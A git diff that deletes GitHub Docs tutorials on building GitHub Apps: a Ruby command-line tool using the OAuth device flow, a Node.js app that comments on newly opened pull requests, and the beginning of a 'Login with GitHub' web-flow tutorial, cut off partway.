URI("{% data variables.product.oauth_host_code %}/login/oauth/access_token") - parameters = URI.encode_www_form({ - "client_id" => CLIENT_ID, - "device_code" => device_code, - "grant_type" => "urn:ietf:params:oauth:grant-type:device_code" - }) - headers = {"Accept" => "application/json"} - response = Net::HTTP.post(uri, parameters, headers) - parse_response(response) - end - - def poll_for_token(device_code, interval) - - loop do - response = request_token(device_code) - error, access_token = response.values_at("error", "access_token") - - if error - case error - when "authorization_pending" - # The user has not yet entered the code. - # Wait, then poll again. - sleep interval - next - when "slow_down" - # The app polled too fast. - # Wait for the interval plus 5 seconds, then poll again. - sleep interval + 5 - next - when "expired_token" - # The `device_code` expired, and the process needs to restart. - puts "The device code has expired. Please run `login` again." - exit 1 - when "access_denied" - # The user cancelled the process. Stop polling. - puts "Login cancelled by user." - exit 1 - else - puts response - exit 1 - end - end - - File.write("./.token", access_token) - - # Set the file permissions so that only the file owner can read or modify the file - FileUtils.chmod(0600, "./.token") - - break - end - end - - def login - verification_uri, user_code, device_code, interval = request_device_code.values_at("verification_uri", "user_code", "device_code", "interval") - - puts "Please visit: #{verification_uri}" - puts "and enter code: #{user_code}" - - poll_for_token(device_code, interval) - - puts "Successfully authenticated!" - end - - main - ``` - - 1. In your terminal, from the directory where `app_cli.rb` is stored, run `./app_cli.rb login`. You should see output that looks like this. The code will differ every time: - - ```shell - Please visit: {% data variables.product.oauth_host_code %}/login/device - and enter code: CA86-8D94 - ``` - - 1. Navigate to {% data variables.product.oauth_host_code %}/login/device in your browser and enter the code from the previous step, then click **Continue**. - 1. {% data variables.product.company_short %} should display a page that prompts you to authorize your app. Click the "Authorize" button. - 1. Your terminal should now say "Successfully authenticated!". - -### Add a `whoami` command - -Now that your app can generate a user access token, you can make API requests on behalf of the user. Add a `whoami` command to get the username of the authenticated user. - -1. Add the following `whoami` function to `app_cli.rb`. This function gets information about the user with the `/user` REST API endpoint. It outputs the username that corresponds to the user access token. If the `.token` file was not found, it prompts the user to run the `login` function. - - ```ruby copy - def whoami - uri = URI("{% data variables.product.rest_url %}/user") - - begin - token = File.read("./.token").strip - rescue Errno::ENOENT => e - puts "You are not authorized. Run the `login` command." - exit 1 - end - - response = Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http| - body = {"access_token" => token}.to_json - headers = {"Accept" => "application/vnd.github+json", "Authorization" => "Bearer #{token}"} - - http.send_request("GET", uri.path, body, headers) - end - - parsed_response = parse_response(response) - puts "You are #{parsed_response["login"]}" - end - ``` - -1. Update the `parse_response` function to handle the case where the token has expired or been revoked. Now, if you get a `401 Unauthorized` response, the CLI will prompt the user to run the `login` command. - - ```ruby copy - def parse_response(response) - case response - when Net::HTTPOK, Net::HTTPCreated - JSON.parse(response.body) - when Net::HTTPUnauthorized - puts "You are not authorized. Run the `login` command." - exit 1 - else - puts response - puts response.body - exit 1 - end - end - ``` - -1. Update the `main` function to call the `whoami` function when the `whoami` command is given: - - ```ruby copy - def main - case ARGV[0] - when "help" - help - when "login" - login - when "whoami" - whoami - else - puts "Unknown command #{ARGV[0]}" - end - end - ``` - -1. Update the `help` function to include the `whoami` command: - - ```ruby copy - def help - puts "usage: app_cli <login | whoami | help>" - end - ``` - -1. Check your code against the full code example in the next section. You can test your code by following the steps outlined in the [Testing](#testing) section below the full code example. - -## Full code example - -This is the full code example that was outlined in the previous section. Replace `YOUR_CLIENT_ID` with the client ID of your app. - - ```ruby copy - #!/usr/bin/env ruby - - require "net/http" - require "json" - require "uri" - require "fileutils" - - CLIENT_ID="YOUR_CLIENT_ID" - - def help - puts "usage: app_cli <login | whoami | help>" - end - - def main - case ARGV[0] - when "help" - help - when "login" - login - when "whoami" - whoami - else - puts "Unknown command #{ARGV[0]}" - end - end - - def parse_response(response) - case response - when Net::HTTPOK, Net::HTTPCreated - JSON.parse(response.body) - when Net::HTTPUnauthorized - puts "You are not authorized. Run the `login` command." - exit 1 - else - puts response - puts response.body - exit 1 - end - end - - def request_device_code - uri = URI("{% data variables.product.oauth_host_code %}/login/device/code") - parameters = URI.encode_www_form("client_id" => CLIENT_ID) - headers = {"Accept" => "application/json"} - - response = Net::HTTP.post(uri, parameters, headers) - parse_response(response) - end - - def request_token(device_code) - uri = URI("{% data variables.product.oauth_host_code %}/login/oauth/access_token") - parameters = URI.encode_www_form({ - "client_id" => CLIENT_ID, - "device_code" => device_code, - "grant_type" => "urn:ietf:params:oauth:grant-type:device_code" - }) - headers = {"Accept" => "application/json"} - response = Net::HTTP.post(uri, parameters, headers) - parse_response(response) - end - - def poll_for_token(device_code, interval) - - loop do - response = request_token(device_code) - error, access_token = response.values_at("error", "access_token") - - if error - case error - when "authorization_pending" - # The user has not yet entered the code. - # Wait, then poll again. - sleep interval - next - when "slow_down" - # The app polled too fast. - # Wait for the interval plus 5 seconds, then poll again. - sleep interval + 5 - next - when "expired_token" - # The `device_code` expired, and the process needs to restart. - puts "The device code has expired. Please run `login` again." - exit 1 - when "access_denied" - # The user cancelled the process. Stop polling. - puts "Login cancelled by user." - exit 1 - else - puts response - exit 1 - end - end - - File.write("./.token", access_token) - - # Set the file permissions so that only the file owner can read or modify the file - FileUtils.chmod(0600, "./.token") - - break - end - end - - def login - verification_uri, user_code, device_code, interval = request_device_code.values_at("verification_uri", "user_code", "device_code", "interval") - - puts "Please visit: #{verification_uri}" - puts "and enter code: #{user_code}" - - poll_for_token(device_code, interval) - - puts "Successfully authenticated!" - end - - def whoami - uri = URI("{% data variables.product.rest_url %}/user") - - begin - token = File.read("./.token").strip - rescue Errno::ENOENT => e - puts "You are not authorized. Run the `login` command." - exit 1 - end - - response = Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http| - body = {"access_token" => token}.to_json - headers = {"Accept" => "application/vnd.github+json", "Authorization" => "Bearer #{token}"} - - http.send_request("GET", uri.path, body, headers) - end - - parsed_response = parse_response(response) - puts "You are #{parsed_response["login"]}" - end - - main - ``` - -## Testing - -This tutorial assumes that your app code is stored in a file named `app_cli.rb`. - -1. In your terminal, from the directory where `app_cli.rb` is stored, run `./app_cli.rb help`. You should see output that looks like this. - - ```shell - usage: app_cli <login | whoami | help> - ``` - -1. In your terminal, from the directory where `app_cli.rb` is stored, run `./app_cli.rb login`. You should see output that looks like this. The code will differ every time: - - ```shell - Please visit: {% data variables.product.oauth_host_code %}/login/device - and enter code: CA86-8D94 - ``` - -1. Navigate to {% data variables.product.oauth_host_code %}/login/device in your browser and enter the code from the previous step, then click **Continue**. -1. {% data variables.product.company_short %} should display a page that prompts you to authorize your app. Click the "Authorize" button. -1. Your terminal should now say "Successfully authenticated!". -1. In your terminal, from the directory where `app_cli.rb` is stored, run `./app_cli.rb whoami`. You should see output that looks like this, where `octocat` is your username. - - ```shell - You are octocat - ``` - -1. Open the `.token` file in your editor, and modify the token. Now, the token is invalid. -1. In your terminal, from the directory where `app_cli.rb` is stored, run `./app_cli.rb whoami`. You should see output that looks like this: - - ```shell - You are not authorized. Run the `login` command. - ``` - -1. Delete the `.token` file. -1. In your terminal, from the directory where `app_cli.rb` is stored, run `./app_cli.rb whoami`. You should see output that looks like this: - - ```shell - You are not authorized. Run the `login` command. - ``` - -## Next steps - -### Adjust the code to meet your app's needs - -This tutorial demonstrated how to write a CLI that uses the device flow to generate a user access token. You can expand this CLI to accept additional commands. For example, you can add a `create-issue` command that opens an issue. Remember to update your app's permissions if your app needs additional permissions for the API requests that you want to make. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/choosing-permissions-for-a-github-app). - -### Securely store tokens - -This tutorial generates a user access token and saves it in a local file. You should never commit this file or publicize the token. - -Depending on your device, you may choose different ways to store the token. You should check the best practices for storing tokens on your device. - -For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). - -### Follow best practices - -You should aim to follow best practices with your {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). diff --git a/content/apps/creating-github-apps/writing-code-for-a-github-app/building-a-github-app-that-responds-to-webhook-events.md b/content/apps/creating-github-apps/writing-code-for-a-github-app/building-a-github-app-that-responds-to-webhook-events.md deleted file mode 100644 index 68c23da1ba5c..000000000000 --- a/content/apps/creating-github-apps/writing-code-for-a-github-app/building-a-github-app-that-responds-to-webhook-events.md +++ /dev/null @@ -1,378 +0,0 @@ ---- -title: Building a GitHub App that responds to webhook events -shortTitle: Respond to webhooks -intro: 'Learn how to build a {% data variables.product.prodname_github_app %} that makes an API request in response to a webhook event.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -redirect_from: - - /apps/creating-github-apps/guides/building-a-github-app-that-responds-to-webhook-events -layout: inline ---- -## Introduction - -This tutorial demonstrates how to write code to create a {% data variables.product.prodname_github_app %} that makes an API request in response to a webhook event. Specifically, when a pull request is opened in a repository that the app was granted access to, the app will receive a pull request webhook event. Then, the app will use {% data variables.product.company_short %}'s API to add a comment to the pull request. - -In this tutorial, you will use your computer or codespace as a server while you develop your app. Once the app is ready for production use, you should deploy your app to a dedicated server. - -This tutorial uses JavaScript, but you can use any programming language that you can run on your server. - -### About webhooks - -When you register a {% data variables.product.prodname_github_app %}, you can specify a webhook URL and subscribe to webhook events. When activity on {% data variables.product.company_short %} triggers an event that your app is subscribed to, {% data variables.product.company_short %} will send a webhook event to your app's webhook URL. - -For example, you can subscribe your {% data variables.product.prodname_github_app %} to the pull request webhook event. When a pull request is opened in a repository that the app was granted access to, {% data variables.product.company_short %} will send a pull request webhook event to your app's webhook URL. If multiple actions can trigger the event, the event payload will include an `action` field to indicate what type of action triggered the event. In this example, the value of `action` would be `opened` since the event was triggered because a pull request was opened. - -If your app is running on a server that is listening for these webhook events, then your app can take an action when it receives a webhook event. For example, your app can use the {% data variables.product.company_short %} API to post a comment to the pull request when it receives a pull request webhook event. - -For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/using-webhooks-with-github-apps). For information about the possible webhook events and actions, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads). - -## Prerequisites - -This tutorial requires your computer or codespace to run Node.js version 20 or greater and npm version 6.12.0 or greater. For more information, see [Node.js](https://nodejs.org). - -This tutorial assumes you have a basic understanding of JavaScript and ES6 syntax. - -## Setup - -The following sections will lead you through setting up the following components: - -* A repository to store the code for your app -* A way to receive webhooks locally -* A {% data variables.product.prodname_github_app %} registration that is subscribed to "pull request" webhook events, has permission to add comments to pull requests, and uses a webhook URL that you can receive locally - -### Create a repository to store code for your app - -1. Create a repository to store the code for your app. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository). -1. Clone your repository from the previous step. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository). You may use a local clone or {% data variables.product.prodname_github_codespaces %}. -1. In a terminal, navigate to the directory where your clone is stored. -1. If the directory doesn't already include a `.gitignore` file, add a `.gitignore` file. You will add content to this file later. For more information about `.gitignore` files, see [AUTOTITLE](/get-started/git-basics/ignoring-files). - -You will add more code to this repository in later steps. - -### Get a webhook proxy URL - -In order to develop your app locally, you can use a webhook proxy URL to forward webhooks from {% data variables.product.company_short %} to your computer or codespace. This tutorial uses Smee.io to provide a webhook proxy URL and forward webhooks. - -1. In your browser, navigate to https://smee.io/. -1. Click **Start a new channel**. -1. Copy the full URL under "Webhook Proxy URL". You will use this URL in a later step. - -### Register a {% data variables.product.prodname_github_app %} - -For this tutorial, you must have a {% data variables.product.prodname_github_app %} registration that: - -* Has webhooks active -* Uses a webhook URL that you can receive locally -* Has the "Pull request" repository permission -* Subscribes to the "Pull request" webhook event - -The following steps will guide you through registering a {% data variables.product.prodname_github_app %} with these settings. For more information about {% data variables.product.prodname_github_app %} settings, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/creating-a-github-app). - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. Click **New {% data variables.product.prodname_github_app %}**. -1. Under "{% data variables.product.prodname_github_app %} name", enter a name for your app. For example, `USERNAME-webhook-test-app` where `USERNAME` is your {% data variables.product.company_short %} username. -1. Under "Homepage URL", enter a URL for your app. For example, you can use the URL of the repository that you created to store the code for your app. -1. Skip the "Identifying and authorizing users" and "Post installation" sections for this tutorial. For more information about these settings, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/creating-a-github-app). -1. Make sure that **Active** is selected under "Webhooks." -1. Under "Webhook URL", enter your webhook proxy URL from earlier. For more information, see [Get a webhook proxy URL](#get-a-webhook-proxy-url). -1. Under "Webhook secret", enter a random string. You will use this string later. -1. Under "Repository permissions", next to "Pull requests," select **Read & write**. -1. Under "Subscribe to events", select **Pull request**. -1. Under "Where can this {% data variables.product.prodname_github_app %} be installed?", select **Only on this account**. You can change this later if you want to publish your app.{% ifversion enterprise-apps-public-beta %} - >[!NOTE] If your {% data variables.product.prodname_github_app %} is registered under an enterprise, this step does not apply.{% endif %} -1. Click **Create {% data variables.product.prodname_github_app %}**. - -## Write code for your app - -The following sections will lead you through writing code to make your app respond to webhook events. - -### Install dependencies - -This tutorial uses {% data variables.product.company_short %}'s `octokit` module to handle webhook events and make API requests. For more information about Octokit.js, see [AUTOTITLE](/rest/guides/scripting-with-the-rest-api-and-javascript) and [the Octokit.js README](https://github.com/octokit/octokit.js/#readme). - -This tutorial uses the `dotenv` module to read information about your app from a `.env` file. For more information, see [dotenv](https://www.npmjs.com/package/dotenv). - -This tutorial uses Smee.io to forward webhooks from {% data variables.product.company_short %} to your local server. For more information, see [smee-client](https://www.npmjs.com/package/smee-client). - -1. In a terminal, navigate to the directory where your clone is stored. -1. Run `npm init --yes` to create a `package.json` file using the npm defaults. -1. Run `npm install octokit`. -1. Run `npm install dotenv`. -1. Run `npm install smee-client --save-dev`. Since you will only use Smee.io to forward webhooks while you are developing your app, this is a dev dependency. -1. Add `node_modules` to your `.gitignore` file. - -### Store your app's identifying information and credentials - -This tutorial will show you how to store your app's credentials and identifying information as environment variables in a `.env` file. When you deploy your app, you will want to change how you store the credentials. For more information, see [Deploy your app](#deploy-your-app). - -Make sure that you are on a secure machine before performing these steps since you will store your credentials locally. - -1. In your terminal, navigate to the directory where your clone is stored. -1. Create a file called `.env` at the top level of this directory. -1. Add `.env` to your `.gitignore` file. This will prevent you from accidentally committing your app's credentials. -1. Add the following contents to your `.env` file. {% ifversion ghes %}Replace `YOUR_HOSTNAME` with the name of {% data variables.location.product_location %}. You will update the other values in a later step.{% else %}You will update the values in a later step.{% endif %} - - ```text copy - APP_ID="YOUR_APP_ID" - WEBHOOK_SECRET="YOUR_WEBHOOK_SECRET" - PRIVATE_KEY_PATH="YOUR_PRIVATE_KEY_PATH"{% ifversion ghes %} - ENTERPRISE_HOSTNAME="YOUR_HOSTNAME"{% endif %} - ``` - -1. {% data reusables.apps.navigate-to-app-settings-page %} -1. On your app's settings page, next to "App ID", find the app ID for your app. -1. In your `.env` file, replace `YOUR_APP_ID` with the app ID of your app. -1. On your app's settings page, under "Private keys", click **Generate a private key**. You will see a private key in PEM format downloaded to your computer. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps). -1. If you are using a codespace, move the downloaded PEM file into your codespace so that your codespace can access the file. -1. In your `.env` file, replace `YOUR_PRIVATE_KEY_PATH` with the full path to your private key, including the `.pem` extension. -1. In your `.env` file, replace `YOUR_WEBHOOK_SECRET` with the webhook secret for your app. If you have forgotten your webhook secret, under "Webhook secret (optional)", click **Change secret**. Enter a new secret, then click **Save changes**. - -### Add code to respond to webhook events - -At the top level of the directory where your clone is stored, create a JavaScript file to hold the code for your app. This tutorial will name the file `app.js`. - -Add the following code to `app.js`. The code includes annotations that explain each part. - -```javascript copy annotate -// These are the dependencies for this file. -// -// You installed the `dotenv` and `octokit` modules earlier. The `@octokit/webhooks` is a dependency of the `octokit` module, so you don't need to install it separately. The `fs` and `http` dependencies are built-in Node.js modules. -import dotenv from "dotenv"; -import {App{% ifversion ghes %}, Octokit{% endif %}} from "octokit"; -import {createNodeMiddleware} from "@octokit/webhooks"; -import fs from "fs"; -import http from "http"; - -// This reads your `.env` file and adds the variables from that file to the `process.env` object in Node.js. -dotenv.config(); - -// This assigns the values of your environment variables to local variables. -const appId = process.env.APP_ID; -const webhookSecret = process.env.WEBHOOK_SECRET; -const privateKeyPath = process.env.PRIVATE_KEY_PATH;{% ifversion ghes %} -const enterpriseHostname = process.env.ENTERPRISE_HOSTNAME;{% endif %} - -// This reads the contents of your private key file. -const privateKey = fs.readFileSync(privateKeyPath, "utf8"); - -// This creates a new instance of the Octokit App class. -const app = new App({ - appId: appId, - privateKey: privateKey, - webhooks: { - secret: webhookSecret - },{% ifversion ghes %} - Octokit: Octokit.defaults({ - baseUrl: `https://${enterpriseHostname}/api/v3`, - }),{% endif %} -}); - -// This defines the message that your app will post to pull requests. -const messageForNewPRs = "Thanks for opening a new PR! Please follow our contributing guidelines to make your PR easier to review."; - -// This adds an event handler that your code will call later. When this event handler is called, it will log the event to the console. Then, it will use {% data variables.product.company_short %}'s REST API to add a comment to the pull request that triggered the event. -async function handlePullRequestOpened({octokit, payload}) { - console.log(`Received a pull request event for #${payload.pull_request.number}`); - - try { - await octokit.request("POST /repos/{owner}/{repo}/issues/{issue_number}/comments", { - owner: payload.repository.owner.login, - repo: payload.repository.name, - issue_number: payload.pull_request.number, - body: messageForNewPRs, - headers: { - "x-github-api-version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, - }); - } catch (error) { - if (error.response) { - console.error(`Error! Status: ${error.response.status}. Message: ${error.response.data.message}`) - } - console.error(error) - } -}; - -// This sets up a webhook event listener. When your app receives a webhook event from {% data variables.product.company_short %} with a `X-GitHub-Event` header value of `pull_request` and an `action` payload value of `opened`, it calls the `handlePullRequestOpened` event handler that is defined above. -app.webhooks.on("pull_request.opened", handlePullRequestOpened); - -// This logs any errors that occur. -app.webhooks.onError((error) => { - if (error.name === "AggregateError") { - console.error(`Error processing request: ${error.event}`); - } else { - console.error(error); - } -}); - -// This determines where your server will listen. -// -// For local development, your server will listen to port 3000 on `localhost`. When you deploy your app, you will change these values. For more information, see [Deploy your app](#deploy-your-app). -const port = 3000; -const host = 'localhost'; -const path = "/api/webhook"; -const localWebhookUrl = `http://${host}:${port}${path}`; - -// This sets up a middleware function to handle incoming webhook events. -// -// Octokit's `createNodeMiddleware` function takes care of generating this middleware function for you. The resulting middleware function will: -// -// - Check the signature of the incoming webhook event to make sure that it matches your webhook secret. This verifies that the incoming webhook event is a valid {% data variables.product.company_short %} event. -// - Parse the webhook event payload and identify the type of event. -// - Trigger the corresponding webhook event handler. -const middleware = createNodeMiddleware(app.webhooks, {path}); - -// This creates a Node.js server that listens for incoming HTTP requests (including webhook payloads from {% data variables.product.company_short %}) on the specified port. When the server receives a request, it executes the `middleware` function that you defined earlier. Once the server is running, it logs messages to the console to indicate that it is listening. -http.createServer(middleware).listen(port, () => { - console.log(`Server is listening for events at: ${localWebhookUrl}`); - console.log('Press Ctrl + C to quit.') -}); -``` - -### Add a script to run the code for your app - -1. To the `scripts` object in your `package.json` file, add a script called `server` that runs `node app.js`. For example: - - ```json copy - "scripts": { - "server": "node app.js" - } - ``` - - If you called the file that holds your app's code something other than `app.js`, replace `app.js` with the relative path to the file that holds your app's code. - -1. In your `package.json` file, add a top level key `type` with the value `module`. For example: - - ```jsonc - { - // rest of the JSON object, - "version": "1.0.0", - "description": "", - "type": "module", - // rest of the JSON object, - } - ``` - -Your `package.json` file should look something like this. The `name` value and the version numbers under `dependencies` and `devDependencies` may differ for you. - -```json - { - "name": "github-app-webhook-tutorial", - "version": "1.0.0", - "description": "", - "main": "index.js", - "type": "module", - "scripts": { - "server": "node app.js" - }, - "keywords": [], - "author": "", - "license": "ISC", - "dependencies": { - "dotenv": "^16.0.3", - "octokit": "^2.0.14" - }, - "devDependencies": { - "smee-client": "^1.2.3" - } -} -``` - -## Testing - -Follow these steps to test the app that you created above. - -### Install your app - -In order for your app to leave a comment on pull requests in a repository, it must be installed on the account that owns the repository and granted access to that repository. Since your app is private, it can only be installed on the account that owns the app. - -1. In the account that owns the app you created, create a new repository to install the app on. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository). -1. {% data reusables.apps.navigate-to-app-settings-page %} -1. Click **Public page**. -1. Click **Install**. -1. Select **Only select repositories**. -1. Select the **Select repositories** dropdown menu and click the repository that you chose at the start of this section. -1. Click **Install**. - -### Start your server - -For testing, you will use your computer or codespace as a server. Your app will only respond to webhooks when your server is running. - -1. In a terminal, navigate to the directory where your app's code is stored. -1. To receive forwarded webhooks from Smee.io, run `npx smee -u WEBHOOK_PROXY_URL -t http://localhost:3000/api/webhook`. Replace `WEBHOOK_PROXY_URL` with your webhook proxy URL from earlier. If you forgot your URL, you can find it in the "webhook URL" field on your app's settings page. - - You should see output that looks like this, where `WEBHOOK_PROXY_URL` is your webhook proxy URL: - - ```shell - Forwarding WEBHOOK_PROXY_URL to http://localhost:3000/api/webhook - Connected WEBHOOK_PROXY_URL - ``` - -1. In a second terminal window, navigate to the directory where your app's code is stored. -1. Run `npm run server`. Your terminal should say, `Server is listening for events at: http://localhost:3000/api/webhook`. - -### Test your app - -Now that your server is running and receiving forwarded webhooks events, test your app by opening a pull request on the repository that you selected when you installed your app. - -1. Open a pull request on the repository that you selected when you installed your app. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request). - - Make sure to use the repository that you selected when you installed your app, not the repository where your app's code is stored. For more information, see [Install your app](#install-your-app). - -1. Navigate to your webhook proxy URL on smee.io. You should see a `pull_request` event. This indicates that {% data variables.product.company_short %} successfully sent a pull request event when you created a pull request. -1. In the terminal where you ran `npm run server`, you should see something like "Received a pull request event for #1" where the integer after the `#` is the number of the pull request that you opened. -1. In the timeline of your pull request, you should see a comment from your app. -1. In both terminal windows, enter <kbd>Ctrl</kbd>+<kbd>C</kbd> to stop your server and stop listening for forwarded webhooks. - -## Next steps - -Now that you have an app that responds to webhook events, you might want to expand your app's code, deploy your app, and make your app public. - -### Modify the app code - -This tutorial demonstrated how to post a comment on a pull request in when a pull request was opened. You can update the code to respond to different types of webhook events or to do something different in response to the webhook event. - -Remember to update your app's permissions if your app needs additional permissions for the API requests that you want to make or the webhook events you want to receive. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/setting-permissions-for-github-apps). - -This tutorial stored all of the code into a single file, but you may want to move functions and components into separate files. - -### Deploy your app - -This tutorial demonstrated how to develop your app locally. When you are ready to deploy your app, you need to make changes to serve your app and keep your app's credential secure. The steps you take depend on the server that you use, but the following sections offer general guidance. - -#### Host your app on a server - -This tutorial used your computer or codespace as a server. Once the app is ready for production use, you should deploy your app to a dedicated server. For example, you can use [Azure App Service](https://azure.microsoft.com/products/app-service/). - -#### Update the webhook URL - -Once you have a server that is set up to receive webhook traffic from {% data variables.product.company_short %}, update the webhook URL in your app settings. You should not use Smee.io to forward your webhooks in production. - -#### Update the `port` and `host` constants - -When you deploy your app, you will want to change the host and port where your server is listening. - -For example, you can set a `PORT` environment variable on your server to indicate the port where your server should listen. You can set a `NODE_ENV` environment variable on your server to `production`. Then, you can update the place where your code defines the `port` and `host` constants so that your server listens to all available network interfaces (`0.0.0.0`) instead of the local network interface (`localhost`) on your deployment port: - -```javascript copy -const port = process.env.PORT || 3000; -const host = process.env.NODE_ENV === 'production' ? '0.0.0.0' : 'localhost'; -``` - -#### Secure your app's credentials - -You should never publicize your app's private key or webhook secret. This tutorial stored your app's credentials in a gitignored `.env` file. When you deploy your app, you should choose a secure way to store the credentials and update your code to get the value accordingly. For example, you can store the credentials with a secret management service like [Azure Key Vault](https://azure.microsoft.com/en-us/products/key-vault). When your app runs, it can retrieve the credentials and store them in environment variables on the server where your app is deployed. - -For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). - -### Share your app - -If you want to share your app with other users and organizations, make your app public. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/making-a-github-app-public-or-private). - -### Follow best practices - -You should aim to follow best practices with your {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). diff --git a/content/apps/creating-github-apps/writing-code-for-a-github-app/building-a-login-with-github-button-with-a-github-app.md b/content/apps/creating-github-apps/writing-code-for-a-github-app/building-a-login-with-github-button-with-a-github-app.md deleted file mode 100644 index 610be25d0335..000000000000 --- a/content/apps/creating-github-apps/writing-code-for-a-github-app/building-a-login-with-github-button-with-a-github-app.md +++ /dev/null @@ -1,433 +0,0 @@ ---- -title: Building a "Login with GitHub" button with a GitHub App -shortTitle: Build a "Login" button -intro: 'Follow this tutorial to write Ruby code to generate a user access token via the web application flow for your {% data variables.product.prodname_github_app %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -redirect_from: - - /apps/creating-github-apps/guides/using-the-web-application-flow-to-generate-a-user-access-token-for-a-github-app - - /apps/creating-github-apps/guides/building-a-login-with-github-button-with-a-github-app ---- - -## Introduction - -This tutorial demonstrates how to build a "Login with {% data variables.product.github %}" button for a website. The website will use a {% data variables.product.prodname_github_app %} to generate a user access token via the web application flow. Then, the website uses the user access token to make API requests on behalf of the authenticated user. - -This tutorial uses Ruby, but you can use the web application flow with any programming language that is used for web development. - -{% ifversion ghec %} - -> [!NOTE] {% data reusables.enterprise-data-residency.access-domain %} - -{% endif %} - -### About web application flow and user access tokens - -Your app should use a user access token if you want to attribute the app's actions to a user. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-a-github-app-on-behalf-of-a-user). - -There are two ways to generate a user access token for a {% data variables.product.prodname_github_app %}: web application flow and device flow. If your app has access to a web interface, you should use web application flow. If your app does not have access to a web interface, you should use device flow instead. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app) and [AUTOTITLE](/apps/creating-github-apps/guides/building-a-cli-with-a-github-app). - -## Prerequisites - -This tutorial assumes that you have already registered a {% data variables.product.prodname_github_app %}. For more information about registering a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app). - -Before following this tutorial, you must set a callback URL for your app. This tutorial uses a local Sinatra server with the default URL of `http://localhost:4567`. For example, to work with the default URL for a local Sinatra application, your callback URL can be `http://localhost:4567/github/callback`. Once you are ready to deploy your app, you can change the callback URL to use your live server address. For more information about updating the callback URL for your app, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app) and [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-the-user-authorization-callback-url). - -This tutorial assumes that you have a basic understanding of Ruby and of the Ruby template system, ERB. For more information, see [Ruby](https://www.ruby-lang.org) and [ERB](https://github.com/ruby/erb). - -## Install dependencies - -This tutorial uses the Ruby gem, Sinatra, to create a web application with Ruby. For more information, see [the Sinatra README](https://github.com/sinatra/sinatra#readme). - -This tutorial uses the Ruby gem, dotenv, to access values stored in a `.env` file. For more information, see [the dotenv README](https://github.com/bkeepers/dotenv#readme). - -To follow this tutorial, you must install the Sinatra and dotenv gems in your Ruby project. For example, you can do this with [Bundler](https://bundler.io/): - -1. If you don't already have Bundler installed, run the following command in your terminal: - - ```shell - gem install bundler - ``` - -1. If you don't already have a Gemfile for your app, run the following command in your terminal: - - ```shell - bundle init - ``` - -1. If you don't already have a Gemfile.lock for your app, run the following command in your terminal: - - ```shell - bundle install - ``` - -1. Install the gems by running the following commands in your terminal: - - ```shell - bundle add sinatra - ``` - - ```shell - bundle add dotenv - ``` - -## Store the client ID and client secret - -This tutorial will show you how to store the client ID and client secret in environment variables and access them with `ENV.fetch`. When you deploy your app, you will want to change how you store the client ID and client secret. For more information, see [Securely store your client secret](#securely-store-your-client-secret). - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. Next to the {% data variables.product.prodname_github_app %} that you want to work with, click **Edit**. -1. On the app's settings page, find the client ID for your app. You will add it to a `.env` file in a following step. Note that the client ID is different from the app ID. -1. On the app's settings page, click **Generate a new client secret**. You will add the client secret to a `.env` file in a following step. -1. Create a file called `.env` at the same level as your `Gemfile`. -1. If your project doesn't already have a `.gitignore` file, create a `.gitignore` file at the same level as your `Gemfile`. -1. Add `.env` to your `.gitignore` file. This will prevent you from accidentally committing your client secret. For more information about `.gitignore` files, see [AUTOTITLE](/get-started/git-basics/ignoring-files). -1. Add the following contents to your `.env` file. Replace `YOUR_CLIENT_ID` with the client ID of your app. Replace `YOUR_CLIENT_SECRET` with the client secret for your app. - - ```text - CLIENT_ID="YOUR_CLIENT_ID" - CLIENT_SECRET="YOUR_CLIENT_SECRET" - ``` - -## Add code to generate a user access token - -To get a user access token, you first need to prompt the user to authorize your app. When a user authorizes your app, they are redirected to the callback URL for your app. The request to the callback URL includes a `code` query parameter. When your app gets a request to serve that callback URL, you can exchange the `code` parameter for a user access token. - -These steps lead you through writing code to generate a user access token. To skip ahead to the final code, see [Full code example](#full-code-example). - -1. In the same directory as your `.env` file, create a Ruby file to hold the code that will generate a user access token. This tutorial will name the file `app.rb`. -1. At the top of `app.rb`, add these dependencies: - - ```ruby copy - require "sinatra" - require "dotenv/load" - require "net/http" - require "json" - ``` - - The `sinatra` and `dotenv/load` dependencies use the gems that you installed earlier. `net/http` and `json` are part of the Ruby standard library. - -1. Add the following code to `app.rb`, to get your app's client ID and client secret from your `.env` file. - - ```ruby copy - CLIENT_ID = ENV.fetch("CLIENT_ID") - CLIENT_SECRET = 